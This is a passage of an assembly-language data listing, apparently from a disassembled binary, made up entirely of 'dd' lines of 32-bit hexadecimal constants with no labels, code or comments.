		dd 76DA5943h, 1D46769Ch, 45970802h, 0AC5413A7h,	0E0D3720Bh
		dd 0FA939028h, 0D1071398h, 55D8C08Eh, 79CA4932h, 467EFCDAh
		dd 5DBB0503h, 98925B3Eh, 93800F63h, 0DCD31F36h,	94D7C226h
		dd 4084006Bh, 0BC9EC6DAh, 0DD467C58h, 285B9D00h, 0ABA683E5h
		dd 43A55509h, 0B1D0D0F5h, 1918D17Ch, 0B631C0DFh, 80B85AA9h
		dd 0F8A6BB9Ch, 577CE1A0h, 0D195CF0Bh, 21285A04h, 0C90C17AFh
		dd 12A5E1DCh, 5844A112h, 0BC7C9A64h, 0AD290500h, 42776BB7h
		dd 5D4F0B39h, 1C6BA158h, 2C206400h, 18ECBB99h, 2F433C88h
		dd 0BD80A1E0h, 5C03B4AFh, 0F992FC4Ch, 5019F062h, 0A284056Ch
		dd 0A2AA439Fh, 381213Ch, 51F9767h, 88A84Ch, 0C2A97EEFh
		dd 6B7FAA3Dh, 0AA091807h, 0A4CF485Ch, 84979ED9h, 976F1E10h
		dd 64470795h, 0D58EFD6Ah, 8868CE5Ah, 0EC30C01Fh, 0FF5CAF48h
		dd 496527F4h, 0E5CDD1C0h, 0A844DC6Fh, 0D3C94B60h, 775BD7C6h
		dd 49AA40E6h, 0E0B72C79h, 41199D7Ch, 0CCD8A130h, 8E86A201h
		dd 14694724h, 0B2C16109h, 5C02E478h, 0F2C2564Dh, 98B45934h
		dd 53ABB16Dh, 0BC03C95Bh, 0F666F9BBh, 79210538h, 139FAE57h
		dd 0C8B48B34h, 57E2C1D2h, 0CC893A2Dh, 1201C20h,	2C19C407h
		dd 2AC17EF8h, 6A8D6842h, 0E5C50013h, 6F0998B8h,	0BF54579h
		dd 49AC79FBh, 2DF6424h,	68F17331h, 2FF981B4h, 147BC156h
		dd 46740C2Ch, 7E6200DEh, 0E3FD8E7Dh, 0B5F000C6h, 0A6564537h
		dd 0CC9CA13Fh, 839F4782h, 96B4FE72h, 2B04B17Dh,	544CB06Eh
		dd 0C180D63Ah, 4B727F46h, 2A22B47Dh, 0A53B001Fh, 0EAEE08C9h
		dd 9B0F6652h, 0A0C5015Dh, 7579F51Fh, 0F7FD12E4h, 48F99Dh
		dd 0CB1E9425h, 538FFFB3h, 0DBE2E80Ah, 66930h, 574F3E5h
		dd 4BFFD212h, 810B897Ch, 4E7D0F63h, 71F09164h, 0BC181Ch
		dd 75B032A6h, 0B2FB43DFh, 440A14Bh, 4EB78116h, 0FDCC0E13h
		dd 7760A2DDh, 6BDC4C40h, 0CB514504h, 710009F3h,	5B0B13BEh
		dd 0AC9E7978h, 74E4D289h, 41314418h, 0B1ABE8C6h, 6774C82Ah
		dd 0A99DCD08h, 0FC1E002Bh, 0A6186D12h, 58C02EEDh, 4439B38h
		dd 2D9D4D5Eh, 3422EB1Bh, 12F0368h, 1CF6D900h, 84E7BA6Dh
		dd 65C2F97h, 88B2D859h,	0F1432247h, 6096C861h, 669742A0h
		dd 0F497BDACh, 6303C6BDh, 0D36F6435h, 4A390988h, 1896A38h
		dd 7CAFB6FAh, 9023C8FCh, 1B30DFF2h, 2D8A0202h, 0A889C921h
		dd 399311E0h, 0D46AACB6h, 9CF6208h, 40840825h, 283EAF53h
		dd 43D1F23h, 18DEF7Fh, 59684AABh, 2EE108C4h, 0CC000E16h
		dd 8510E387h, 9A3F0A29h, 91CC1C2Fh, 58FF1254h, 0C5125860h
		dd 0A5FE28D0h, 0F0BB16D0h, 7DD8A05Ch, 12D62740h, 13E09E43h
		dd 0F1F4B04Bh, 1C055278h, 1A8B7BA7h, 4DC090B4h,	7C0040BDh
		dd 0F0BFC76Fh, 2900754Bh, 6B064818h, 4D14B8B3h,	0C0C3705Ch
		dd 229187C1h, 7D4096D9h, 26C9ACDCh, 0AD3CDEF4h,	1C86B03Ch
		dd 0D101B325h, 2404BB60h, 0EA7BADBDh, 390EE040h, 4BFD4D22h
		dd 19BCF1D1h, 6060F984h, 0B534F24h, 74435A38h, 9CFEC985h
		dd 4318C8D2h, 0FC40C5B8h, 3F6BB32Eh, 0C93278Ah,	7C827072h
		dd 0B302F8FEh, 7DC8D6C9h, 73A5D898h, 0BA01E92Dh, 3AEC46ECh
		dd 7F4C0C06h, 63C22042h, 0F92142DDh, 0C107D22Ah, 856C856Bh
		dd 0ED867F18h, 9AC72CC2h, 2040DE70h, 3A102870h,	699D2784h
		dd 0FA3FFC40h, 5A85B54h, 0C6D1870Dh, 6C4E60D6h,	0C0C01688h
		dd 127D7C2Bh, 5DFB80h, 67F6CD30h, 1C9E4598h, 920465Ch
		dd 724224EDh, 93870324h, 7AB95306h, 3FDDD000h, 18C397C7h
		dd 354D005Ah, 0A7087DBEh, 81005448h, 0B3147390h, 0D3EB77B1h
		dd 7FCD0021h, 90D1A598h, 0E63A03Eh, 824404C0h, 76F5124Eh
		dd 0F2D8064h, 8F8ACDBBh, 0B13CB478h, 0D8FEFBB8h, 806C0B3Eh
		dd 4DDB3C50h, 2561349h,	0EDFDD199h, 375F10C4h, 2B970034h
		dd 0CB449EA1h, 4A9AB501h, 1D4B2EE7h, 4860064h, 9550B4B6h
		dd 5D3C9079h, 0A092FB9Fh, 8586A705h, 20936BC6h,	81ABC4A8h
		dd 0D032877Ch, 0F800BCF0h, 0C724E93h, 2033C1ACh, 46052DEFh
		dd 0C90B162Eh, 0FA60CE4h, 0DE5832D2h, 0EFA88F45h, 1048540Ch
		dd 0B949608Dh, 1E821940h, 4524980Ah, 48A8D426h,	89282D56h
		dd 28702860h, 62082078h, 0D43580Eh, 6A5C8621h, 3A522D70h
		dd 0BE16C6D4h, 4EE8D0AFh, 1E150C02h, 0A0401F16h, 9DBE50D5h
		dd 91005044h, 0C1A6AE67h, 182C3EDBh, 9148F781h,	3C12A39Dh
		dd 0D834B3BBh, 2A7A3C6Eh, 16A4948Eh, 967DED5Fh,	7F44302Ch
		dd 4434A5FBh, 1C002FFDh, 0B96731A5h, 0DA18643Dh, 0B3182B9Dh
		dd 0B007006Ch, 32C2A6BEh, 7F51CB3Fh, 23BC1E48h,	0C80B61EBh
		dd 77619DD1h, 520359Ah
		dd 0A84F68F8h, 21391971h, 61940AF9h, 0B62154C9h, 13AFF08h
		dd 433B40ADh, 9EC62A9h,	474945h, 245FA3F8h, 4D47B35h, 0B3BA5DCBh
		dd 0C0709431h, 2E9D503Ch, 0C70498BDh, 87C60ADEh, 6520599Eh
		dd 2FBC20F5h, 3112B422h, 9C576739h, 29DC1CC0h, 882B5C88h
		dd 2085D35h, 0EE07C10h,	0D09895D7h, 2CB650A7h, 1808E239h
		dd 2D41027Ah, 62A0A02h,	0EA1F1959h, 0BA0C1DCFh,	407408D2h
		dd 0CD4056F1h, 96D94032h, 64304B62h, 0D01702EBh, 18416003h
		dd 8053718h, 0F5810FA3h, 322F2188h, 0BA20D608h,	728C18E2h
		dd 34A9E02h, 831343Dh, 1C8DA95Ch, 17E5701h, 88826A1h, 0D708708Ah
		dd 0EE850C65h, 30A34F50h, 6DF62110h, 8014518h, 28C4E25Ah
		dd 8604586Ah, 17560413h, 1C60E904h, 0E40806D8h,	8CC8812Eh
		dd 821E141h, 0BA3D408Eh, 0DC5AB0A8h, 91A258CCh,	31576CFAh
		dd 0ACA89681h, 10CC558Fh, 0C64BB110h, 19402C09h, 320C385Dh
		dd 271E95Bh, 9306452Fh,	909655D9h, 8959521h, 0B18A4B3h
		dd 0F86F50D1h, 0C8AA08C4h, 23614E0Ch, 3365B1C6h, 0C6303108h
		dd 154C220h, 1088CA44h,	8B0C1669h, 0A82B080Ah, 811F2A8Ch
		dd 0D5C995BCh, 61ED19ECh, 710177B9h, 814898E1h,	0C4EFB921h
		dd 6149E10h, 5408633Bh,	4033E890h, 9CA8B469h, 0DD814EC6h
		dd 356C998Ch, 7F40E608h, 6721C45Eh, 47860411h, 68F76206h
		dd 32647A20h, 0D7B9366Fh, 108E684Bh, 8420131h, 540231AEh
		dd 271DACA2h, 3189702h,	3824EDA3h, 6288881Ah, 5E440CC2h
		dd 2E649120h, 9C93E9A9h, 32101830h, 24D2081Ah, 80665F80h
		dd 8F804A76h, 73EC8058h, 118D3E81h, 98E92319h, 5049F0C1h
		dd 24AC8122h, 0B4A8E424h, 5081DF05h, 7E8932D7h,	8D034959h
		dd 332032C3h, 2848BDD1h, 95803A52h, 2520CCE5h, 3C62B461h
		dd 6787208h, 0E435D193h, 3044C95Dh, 0BB04EBD6h,	60C604F4h
		dd 4535804h, 0C5043EDFh, 0E1730CE6h, 0A1756492h, 91FB0C33h
		dd 601F4074h, 14080D63h, 803810DEh, 71CD3232h, 0D1CC494Eh
		dd 79B49051h, 5C036812h, 0C3082A3Bh, 8052FE88h,	24812CE1h
		dd 38BCE051h, 1447F01h,	0B401E3CCh, 299EF95Bh, 47510FBCh
		dd 419309ABh, 0B3E1EC94h, 0F0D3B2F0h, 69796Fh, 0D5C5483Dh
		dd 7F080B81h, 0A7C434FBh, 84134900h, 0CD6B068Bh, 393C1241h
		dd 781DEA4Dh, 0D6425A0Eh, 9880B835h, 0F9C923h, 0A3B36403h
		dd 0FEFCC6E2h, 7C4F20C0h, 0B1C4F16Ah, 0D6700C50h, 0EF77DFA8h
		dd 2A93B1C0h, 512153Ch,	0AE940990h, 87080002h, 0B4451052h
		dd 0F4A94A00h, 0E40F3F54h, 0EBE3020Bh, 0F09D9C97h, 0ECABDCC8h
		dd 26305478h, 0A30F5889h, 5FB81C06h, 4C0652Fh, 47FC5A87h
		dd 942250D6h, 507651h, 0CB7405ADh, 0DC74E417h, 0A1181F74h
		dd 0C528969Ah, 9264A1EFh, 0DB3F3h, 9E4DF318h, 2F6106D9h
		dd 5869B630h, 0F05E2CECh, 106B603Ch, 0C4104A8Fh, 0F0C5D714h
		dd 0F8981424h, 0ED450D44h, 9000802Fh, 0ECC5D8h,	7CFCCCEh
		dd 0B9E24B47h, 0D3F3Eh,	0A1735FC4h, 6EF0B07Bh, 5AE64077h
		dd 951D4889h, 0A4808AC9h, 300A8E32h, 0DA3731ABh, 0CCCA5B50h
		dd 33302AB2h, 2F899962h, 6A6C14F5h, 7705A063h, 87E408h
		dd 64B947F8h, 7F721EB6h, 0B8E5F032h, 15C480ABh,	787A5Ah
		dd 81935947h, 0A18752B5h, 88C0F277h, 5BAA28EDh,	7B5F0026h
		dd 0FEA809E2h, 69008189h, 93311CF9h, 3FB27703h,	9D82461Fh
		dd 0E0D62F52h, 8EDC8087h, 0B6A45057h, 3076FC42h, 3D601131h
		dd 0DE0F9BC1h, 0C0A2649Dh, 0C394A46h, 2F98176Ah, 0DA8440F1h
		dd 0A1A0D345h, 3809CE30h, 138EF517h, 4D1352h, 0A435F335h
		dd 0CB17332Bh, 4F127B0h, 97585C40h, 2D0A6F1h, 9DE09FECh
		dd 8484878Bh, 80B30531h, 124A9809h, 0E0A56254h,	60FB2F40h
		dd 0A768D0C2h, 0E62C0593h, 40362D9Dh, 4A1200D9h, 0CB6A044Dh
		dd 38C0CE25h, 809DB931h, 0E891E8h, 74173A3h, 320C3DD0h
		dd 58C3B82Fh, 248CB8F8h, 2CCBEDh, 5647CFFBh, 0FEFD4FEFh
		dd 69A00880h, 0DC00A88Eh, 23AB1954h, 2BBEDD9h, 0CB2968A9h
		dd 26DF3F67h, 24C8425Ch, 85A84AACh, 1EA5CF1Eh, 0BE412B0h
		dd 34583FB0h, 0A1945F05h, 9009103Ah, 29E818F4h,	344E00CAh
		dd 44BB0996h, 22008480h, 0AE6CAAC2h, 231210h, 0CABAF849h
		dd 8AF3540Bh, 0D94B0A00h, 2995CD7Dh, 0E945043Fh, 0D472EF2Fh
		dd 83048734h, 101E25D2h, 0D4A4CBD5h, 0A4539D06h, 0F05883A0h
		dd 1877609Bh, 0D88E5ECBh, 6A12644Dh, 0EAB004ADh, 5BA8C1F7h
		dd 0F548BE47h, 50E1E3D8h, 80043557h, 22AB1C28h,	92839EA1h
		dd 40774838h, 3841D10h,	3E2FCB45h, 0A390095Eh, 18006D90h
		dd 198946A7h, 0B7C6C502h, 4142516Ah, 289F3A6Ch,	553C0012h
		dd 71739D6Bh, 3D0B70C3h, 64C7E2DBh, 0B04F610Ch,	0F890BBF2h
		dd 0BF7BF7F9h, 0D7200B01h, 30A7CB1Ch, 0C5AD2985h, 451C00EAh
		dd 0ECA9494Dh, 99019891h, 8F57CB06h, 0BD472080h, 77FF6C4Dh
		dd 0DD6F38C1h, 0A5F019B0h, 8CBF30B1h, 7959C650h, 2F2CAC1Fh
		dd 8908C025h, 48F0A487h, 121F24A9h, 0B068AF93h,	0F2001CD9h
		dd 2F6CC6Dh, 1F7C37Fh, 0B5091664h, 5075CCBh, 12943014h
		dd 4CA0EEB0h, 34C89881h, 740D694h, 0F2BEC764h, 30832C93h
		dd 79F27281h, 8901585Ah, 2EC9A388h, 73F5CB24h, 14809C02h
		dd 0A438203Ch, 2E20D890h, 0FCAB2495h, 4642036h,	15DB4013h
		dd 0FAECCCFBh, 600B2C01h, 8039C56Dh, 3F7CA0C4h,	1380C0C7h
		dd 16946510h, 0D241DB6h, 7503E07Dh, 1E7FE430h, 56A19CD8h
		dd 0C6480032h, 3EE037EEh, 4E50EB03h, 0FACCA50Dh, 9024C0C7h
		dd 48343E88h, 0E5306A00h, 0EAFF1512h, 0C69E1005h, 0F052F327h
		dd 0DA60CC0Ah, 26593C3Ah, 0F821E493h, 8C19B396h, 0DB4012D8h
		dd 0D7B57h, 2E8B8FEDh, 0D3489307h, 2F0F2124h, 0FC0E3912h
		dd 4AE4C755h, 6C5137E0h, 9590107h, 472F5683h, 49B0403Bh
		dd 0E4F02DA7h, 0A3B82C54h, 7F008FFEh, 36319376h, 0F8CE390Eh
		dd 1C6E01BBh, 3D2ED734h, 2FC04087h, 38C015B1h, 0F79DFE79h
		dd 0C3783046h, 98FB1D08h, 8802C8AAh, 0AC4120BBh, 0F900EEA6h
		dd 63422F97h, 0B3B9791Bh, 0CB7EC2F0h, 0F8374E30h, 12A88196h
		dd 347406AEh, 7DEC2108h, 20CC42D4h, 0BB015A04h,	2039A97Ah
		dd 0DCA0A5ACh, 0ACD2AA9Dh, 34D56449h, 859D19A4h, 31A518FDh
		dd 466F8h, 56434E47h, 78451C85h, 44A630EEh, 6CEDC511h
		dd 29062AE6h, 13F01A2Fh, 3FAC00A8h, 934D25F2h, 0A39C022h
		dd 0CB18E16Eh, 0CC40E6AAh, 0EC8A6D2Ah, 0B6812C66h, 58110D8Ch
		dd 4C10F2E9h, 141649C0h, 4300204Ch, 0CCFCFB73h,	0D0EAAC8h
		dd 6DA1CD08h, 68653001h, 0F7D19821h, 0D28C051h,	1B017062h
		dd 470511F1h, 0C1386020h, 3B7F7A17h, 78923800h,	16C748F0h
		dd 58A913B8h, 7F35A85Ch, 8103D171h, 51B052BBh, 0A12BC0A3h
		dd 2C9940BEh, 1E127C92h, 0C430EA86h, 8052699Dh,	0DA163663h
		dd 8421E03Dh, 4700DFCFh, 102E2B2h, 2D9D651Bh, 4C08E23Bh
		dd 2F74A13Ch, 9804D862h, 1410D0A1h, 48150094h, 0B1C790B4h
		dd 7CB2413h, 31F59AACh,	3EAB8C1h, 0AC208D89h, 1A0E03ADh
		dd 0B1F2811Eh, 0C0B30481h, 1A2060E3h, 7B56C240h, 277F0347h
		dd 0E1457CFEh, 884ABC2h, 4E94800Dh, 0CB00F75Dh,	0DEE4F4C2h
		dd 0D364AAh, 0D2BB7322h, 93479207h, 3A593202h, 816163B7h
		dd 3FB8E7A4h, 0A08F3860h, 3FA807F8h, 0F57F49h, 0F6960B20h
		dd 671068EBh, 0A979D35h, 12FC7C08h, 40A80B78h, 5C68A442h
		dd 561213DEh, 8802F396h, 42C65E31h, 88E508h, 0B5F7DCCBh
		dd 0D349A49Dh, 44BE3D34h, 5E6A011Ch, 0AA272FB0h, 3DC5C4D6h
		dd 0C2801309h, 7F880070h, 907257BCh, 64C70180h,	6F2F8629h
		dd 0F360832Eh, 7133CA4h, 72AAE08h, 79321383h, 9CEFF823h
		dd 0BA0454Fh, 0B1B8D09Ch, 490FD11Ch, 41595E9Fh,	368AA15Ch
		dd 0A0EDE98Bh, 9EC4F882h, 74F7C868h, 1D46A4Dh, 0A13F3A12h
		dd 0E8807298h, 817B5F0Eh, 0EB3ABE46h, 0A72A8189h, 2B93C09Fh
		dd 13E25F0h, 529E09EAh,	32475045h, 432FC5F8h, 0C326490h
		dd 9031505Ah, 0A0D8E952h, 0B85E60E4h, 2598C357h, 5F7D88A0h
		dd 0CF0DA700h, 8FA0EA45h, 20B4988Ch, 904239Fh, 0E39EC69Bh
		dd 92AC8092h, 5BD4F0CCh, 70F054F8h, 0FA2D9B01h,	21B3C744h
		dd 0A00801D4h, 4D6E30F3h, 4A6A5409h, 0AA8C4B15h, 0CD7840E8h
		dd 113A12C5h, 0EF470738h, 50B62A7h, 0D9D0F4C0h,	431F9103h
		dd 707BC32Fh, 0CB573C70h, 9A9400DEh, 0C7B31FA1h, 0E872FCB8h
		dd 68064F26h, 0B6DAE00h, 259DDDE0h, 80041CEh, 77540302h
		dd 94619A14h, 0D70840FCh, 44DC758h, 39107A81h, 0D85978ACh
		dd 0DCF8C38Ch, 0DCAB2C26h, 8440E889h, 0F8814A04h, 0CB004F70h
		dd 0AD0247D2h, 33960E6h, 3588C009h, 81250076h, 21AE9BA3h
		dd 0F10E5657h, 0F9D5A1B3h, 8F201638h, 5B870368h, 3486E2C9h
		dd 0D88AF3CAh, 89FCC820h, 1490A289h, 8A509CCBh,	5E007E88h
		dd 8995E967h, 9A7C3A0h,	26D355B8h, 84D6F404h, 3F8B008Ch
		dd 2FDF5DDBh, 0C4E49228h, 211EDD05h, 0B0047285h, 74018ED6h
		dd 7AC39D63h, 74585C09h, 51FB005Ch, 974D0F1Bh, 42BB3Fh
		dd 47FD899Fh, 4A7895B8h, 8DF4E059h, 1C377680h, 0FC87909Dh
		dd 0C0C6A71Eh, 0FA43D156h, 0AA31A108h, 0F71928A5h, 75D262ECh
		dd 78551813h, 0CB0208C5h, 9CC0965Fh, 0D3BE4FF8h, 1CA42C38h
		dd 27086048h, 0EDA8C0A7h, 0BE12EE0h, 0AF2700E0h, 0DF8A670Ch
		dd 0F675EF00h, 1F06F902h, 5B3125A1h, 2678F872h,	0AC5F9C2Ah
		dd 0A748ED1Fh, 50A4CC5h, 0FA708Ch, 4EFCDE6Ch, 0E2B35A32h
		dd 0B7AA4800h, 9DD6350Ch, 0CC625468h, 0B8A3657Eh, 0C8FD14A0h
		dd 0F5124306h, 0B907D669h, 0EABA742h, 0D29D11A0h, 3338D7BAh
		dd 35AAA138h, 0CC452C60h, 0E09B2Ch, 0DCB50E44h,	3285C33Eh
		dd 785C312Ch, 83173F89h, 14BD6C0h, 9FE27510h, 2C149DDFh
		dd 204C2E30h, 5B96A448h, 140B610Bh, 6A54B68h, 306159B8h
		dd 0C31C42F9h, 0A4F35484h, 80E1443Ch, 0A6EAC670h, 9A6903A8h
		dd 0E40F2C1Ch, 885C2940h, 920B1630h, 486CD8BBh,	0DDCCB4DAh
		dd 0C672D278h, 0FB91A4A8h, 0F162BE01h, 45D89D15h, 0E9F54881h
		dd 707F1838h, 5103047Ch, 0ED9D14EAh, 6D203ED9h,	78FDA700h
		dd 0D23D3B48h, 0A8E409FCh, 0DAA4EC5Dh, 0F8744460h, 3B7C18EEh
		dd 36B6F2ADh, 3DDD18C1h, 0CC7147CAh, 0C2C72982h, 0FA8BF3C4h
		dd 8794FCA4h, 9099E550h, 1379B020h, 948130CAh, 8868007h
		dd 0EA02D23Fh, 61CAF46Dh, 6FDD0BA4h, 80412EAh, 9300C14Dh
		dd 29387304h, 0E42D0A3h, 0DCAB0356h, 0FAA41010h, 0AF085B00h
		dd 7425D44Bh, 2FEDB406h, 482789h, 4856FF88h, 7BC6D0BFh
		dd 6A601A69h, 35450BCh,	0AE7B473h, 21C6D5CBh, 2F53D498h
		dd 3C9F9F9Ch, 48424256h, 40273F12h, 0A44E5244h,	1070B9ACh
		dd 13CC5849h, 0BC205F12h, 0B14A8B9Bh, 2D80A21Ch, 5C34945Dh
		dd 0F3BC60FFh, 85C45255h, 1BB04F40h, 6D10FCA3h,	1C225E9h
		dd 5A19DAF8h, 0C31739F0h, 5C18D848h, 0A961A2C1h, 0DB114C10h
		dd 0A172A113h, 3FC4485Ch, 88B960B8h, 121498A7h,	10EC5C6Fh
		dd 243AFA10h, 0CA6280EEh, 13B47107h, 0B49C0E5Dh, 4354AF0h
		dd 7CB3861h, 0D42D9021h, 0AB020494h, 80A82821h,	8098D4C6h
		dd 2D949A20h, 2C912DADh, 0F708813Dh, 6F9D04F6h,	1B20C031h
		dd 0CABF2C4Dh, 35A901C4h, 0D1AC9CA3h, 0F6A8E489h, 6533E717h
		dd 1279FC00h, 6BD80FAh,	4FA19EDDh, 7E00788Bh, 4965FF7Fh
		dd 0CB2EF6Ch, 7757CB0Eh, 4F2648A8h, 0EEE47050h,	3115C0D1h
		dd 7A8123Fh, 80BC3244h,	0C6956139h, 412A5830h, 13CDA2h
		dd 0E315D638h, 82FD908Dh, 0BE3D24B0h, 282F34CBh, 3E8298D7h
		dd 681C62A4h, 13FA2A7Ch, 0C3645C3h, 0C5110C14h,	90AB8E2h
		dd 0A44D4228h, 0AE4F5E07h, 0B0B3EDC4h, 1F20C043h, 1E207748h
		dd 0F5925A79h, 9CD118C3h, 3020A099h, 41F49CF1h,	29628730h
		dd 0F5178474h, 9869A8CCh, 0A1C70E51h, 9FB17Dh, 129EE03Eh
		dd 0E832CB15h, 1249910Ch, 52C67084h, 0A8213085h, 8451494Ah
		dd 20A9792Ah, 0F22F1FACh, 44940D41h, 399D2F1Ah,	0DD14C018h
		dd 84045C4Dh, 31311E8Dh, 41744054h, 6C05FF09h, 0FAE4D9Dh
		dd 2D4C14CCh, 241BC797h, 28F83948h, 0C1078489h,	9AB7CC74h
		dd 0C42C8580h, 523200F2h, 134259C7h, 4B7B42Fh, 7C88DA14h
		dd 0B827E93Fh, 6B0C327Dh, 0D8449358h, 3DCD544h,	0F4C9EBBFh
		dd 303E6A3Bh, 80B2791Eh, 14234525h, 0DADCA270h,	93988894h
		dd 867099F5h, 0F074E448h, 29449C3h, 8616C12Dh, 0E7BE10BFh
		dd 0A0498704h, 1C60F090h, 80680641h, 0F8E29D82h, 0BB2ECC48h
		dd 6B16E4A0h, 0C707AA00h, 1E3913B6h, 0A87DF7DDh, 81010B3Dh
		dd 0B92F52A0h, 31503528h, 3876E034h, 0A48910C0h, 78FFF29h
		dd 0C04F444Eh, 0C03F059Dh, 791239A0h, 3A6F63EAh, 0CB190008h
		dd 0ABF21Ch, 2B1EE6Fh, 315A49AAh, 4752F8A0h, 46C14A01h
		dd 0E1C520F8h, 0B0EC440h, 0ADDC242Fh, 0B71007D0h, 0B0C98556h
		dd 8D18F340h, 0AE08153Ch, 830D0107h, 81096302h,	24CBDDC6h
		dd 78B0A354h, 75CC9004h, 14B39A2Fh, 7273A17h, 400CFA6Bh
		dd 0A8A2E91Eh, 0D485812Eh, 60364C8Eh, 0A39E665Ah, 0EAE0190h
		dd 0CC716314h, 0E12FC089h, 93528200h, 483BEF2Eh, 484CB87Eh
		dd 0F70EA8B9h, 676B2FADh, 944A5012h, 6463EC62h,	13CF05F0h
		dd 1E26B890h, 0AA8720B6h, 0D54A2193h, 1317DA0Fh, 0A19A09h
		dd 0CD7A5A78h, 0E6FB0048h, 0A0B78C89h, 93032165h, 0EF1E0E02h
		dd 0E9BCE0E3h, 0F9E70903h, 68093706h, 824B8CA2h, 47668000h
		dd 4D6F09BEh, 0C80B754Eh, 27C10900h, 0C82CD92Fh, 9C2A813h
		dd 0FC620B07h, 0D49E04A5h, 0CB409038h, 24BE95A2h, 1F4B6C10h
		dd 8815819Ch, 0E24DA952h, 500948F1h, 4C140B36h,	31189278h
		dd 8780D1DDh, 40307D42h, 0ED7FFCh, 7559B889h, 7290026h
		dd 73491C76h, 0A02560C7h, 5DC08074h, 0C40AB32Fh, 0A62AA659h
		dd 0F0DE8124h, 43C4C299h, 0CF4C32CBh, 0A48F8220h, 2D30A0A0h
		dd 1F073407h, 0C0EF1860h, 8C795930h, 0CB93002Ch, 0C9E8A389h
		dd 31F07B6Fh, 7717E301h, 51B08149h, 4BF3B441h, 31A971h
		dd 1EF430C0h, 0C0A60756h, 62517F43h, 0A112DE6Dh, 1C00BD3Ch
		dd 20E1E6C5h, 42B6009Bh, 4E56C341h, 0D279D0Eh, 5330206Ah
		dd 13E0E337h, 22E9C5D8h, 8060F5CCh, 5428F463h, 0A12FD877h
		dd 9DE80141h, 0BC40378Ch, 44682F58h, 0C618AB17h, 76406150h
		dd 4138980Bh, 35F86296h, 389539A8h, 16D80445h, 4927A8A6h
		dd 0B5CB18E9h, 84491F0h, 0C8E05415h, 0E8B5482Dh, 979DC304h
		dd 3A6C81AFh, 10C028DCh, 9A2EB992h, 94AA1680h, 19F8BDD4h
		dd 0DB81BA4Fh, 129960F0h, 432FA28Fh, 34ABF538h,	0E5470E81h
		dd 5AF3E0D6h, 9DD14805h, 0E8E28B89h, 429CFC2Eh,	6C54B669h
		dd 0A0CB1403h, 0B0680B40h
		dd 0C4C442BEh, 62934F26h, 5169B309h, 0D62F891Ch, 0A88850AAh
		dd 0BB5A00ECh, 3CC522A4h, 0FC0103CAh, 2BA3476Ch, 75C9E653h
		dd 4C792FF0h, 4DCBAC6Fh, 94436401h, 0F45C28D1h,	0CCA00485h
		dd 0AC24B387h, 0C0F60014h, 49DDB004h, 19DBB01h,	0EB54CB45h
		dd 0EC129C01h, 2705A233h, 88A1B82Ah, 0DF8528C7h, 86ABBC05h
		dd 0B7BF5090h, 957EE871h, 11847880h, 0EF89C644h, 0F04DE0F6h
		dd 0B930D88Ch, 4F5EB05Eh, 4CA19C03h, 5D98131Eh,	3B6800C2h
		dd 111D1228h, 379CCB13h, 0E8BDA8D2h, 136017E4h,	49633C2Fh
		dd 14021594h, 0DA02B6D9h, 0A271421Eh, 0C6EDAB2Ch, 74C3FF4h
		dd 400011EBh, 651F2F5Ah, 28610896h, 3D035786h, 0A5811016h
		dd 0C231817h, 75210071h, 1EB5F7C1h, 71C4F95Eh, 4885BD12h
		dd 3DFC4C99h, 0AA4F0648h, 48DD01CBh, 0F5D99500h, 104B5057h
		dd 12B1E843h, 0E39FE13Eh, 123A00E8h, 988ABC90h,	0ACBA0F88h
		dd 74978721h, 2F9D02D4h, 8084B155h, 0F734827Fh,	0D47DB485h
		dd 409C9DB8h, 9D924F20h, 0B8C0CA30h, 7D30C3h, 1FE88F4Ch
		dd 0A1A0EE45h, 39C4DE09h, 0F02458BBh, 103769ADh, 13042CF9h
		dd 88B8D71Bh, 50ECA116h, 0FE00BF64h, 34BFF57Bh,	0C101C842h
		dd 0B5063CFAh, 9C20A3C2h, 94A251E8h, 5C04F02Ch,	5C05A2Fh
		dd 27C749E5h, 78C07C74h, 5A8E2041h, 0AC2C34FCh,	750072B0h
		dd 0D303ACA0h, 10C742Ah, 0FDA73293h, 2079B976h,	0FF302F40h
		dd 8FF85833h, 25320B0Dh, 0AD065E7Eh, 0A3001866h, 0CF02AE9Ch
		dd 1EF8FE4Dh, 8C1B8489h, 0FD8001A2h, 8B7C6C7Eh,	0D5888500h
		dd 0A13607Ch, 6B5672A1h, 0C890F1C8h, 9D884AB2h,	8CFA4CC2h
		dd 0C2F4D7D6h, 9300BC8Eh, 42F8207h, 0FE61C322h,	431C9356h
		dd 60C9B1D1h, 9704816Ch, 0A5AEF55h, 12C9F0BCh, 4824502Bh
		dd 83848810h, 50E181D2h, 58DFAEE1h, 8E00D810h, 936989A1h
		dd 0BEE2DA03h, 0AE811D27h, 7A708938h, 4C4D4014h, 44151A25h
		dd 23AB26B4h, 0E7CE8A0h, 30C0F795h, 0D0C5340Fh,	4E0AB40Eh
		dd 0A05FE1B8h, 9024BDE2h, 0B0AA40BAh, 489221F4h, 0E09658A1h
		dd 500B5D41h, 40669DA3h, 0E4FFC04h, 0EFEEF9A9h,	2F930DA0h
		dd 0A60433EAh, 1A96A19Fh, 282C28E2h, 6450249h, 6B75630Eh
		dd 8E0E9D4h, 0A1C29838h, 24699B77h, 2B8C21ADh, 0F4FA9CA0h
		dd 0EFC8E116h, 8FC0797h, 7A42CB73h, 9DAF8780h, 58984C1Dh
		dd 0ABE39500h, 0AE687F07h, 5044BC43h, 734019A1h, 0E354037Eh
		dd 0CA017D04h, 60F21598h, 0EA5D9309h, 2D0C50A0h, 9400902Fh
		dd 0CBD29DDEh, 263068C6h, 78087460h, 2FDC09D7h,	74527B0Fh
		dd 27642D44h, 0BC32D638h, 9FCBE001h, 0AAD20752h, 9707311h
		dd 0D80ABC57h, 0E2B96C28h, 0EC13C25Ah, 0E88A8413h, 0A4D0104Bh
		dd 610B9120h, 27DFB4Dh,	72387920h, 7ECE0904h, 0E4820822h
		dd 705CDC76h, 24446BC2h, 0AD48C262h, 0C761345Ch, 44AAA045h
		dd 62FC5AA0h, 0E8929888h, 0C3A08868h, 47CC3D0Bh, 959444B3h
		dd 68F80492h, 77486360h, 96DCE478h, 50E6A5C4h, 344BCDF2h
		dd 5F00E88Fh, 1865A17Bh, 9D12C58Ch, 9800ABA6h, 1048F752h
		dd 6944214Ch, 8C898BDh,	0C4A8E710h, 0FB68A169h,	37451400h
		dd 1388FA92h, 1308F25Bh, 31D4A024h, 44824Ch, 70639647h
		dd 9C6638CBh, 0EDC7E1F8h, 58092AC4h, 0F4118A2Fh, 0F90A9D84h
		dd 5D313CD8h, 7A1098C4h, 430679ACh, 843ECB06h, 0B97B0358h
		dd 89709480h, 0EBEFA88h, 330B7C1Eh, 908A114h, 278121CBh
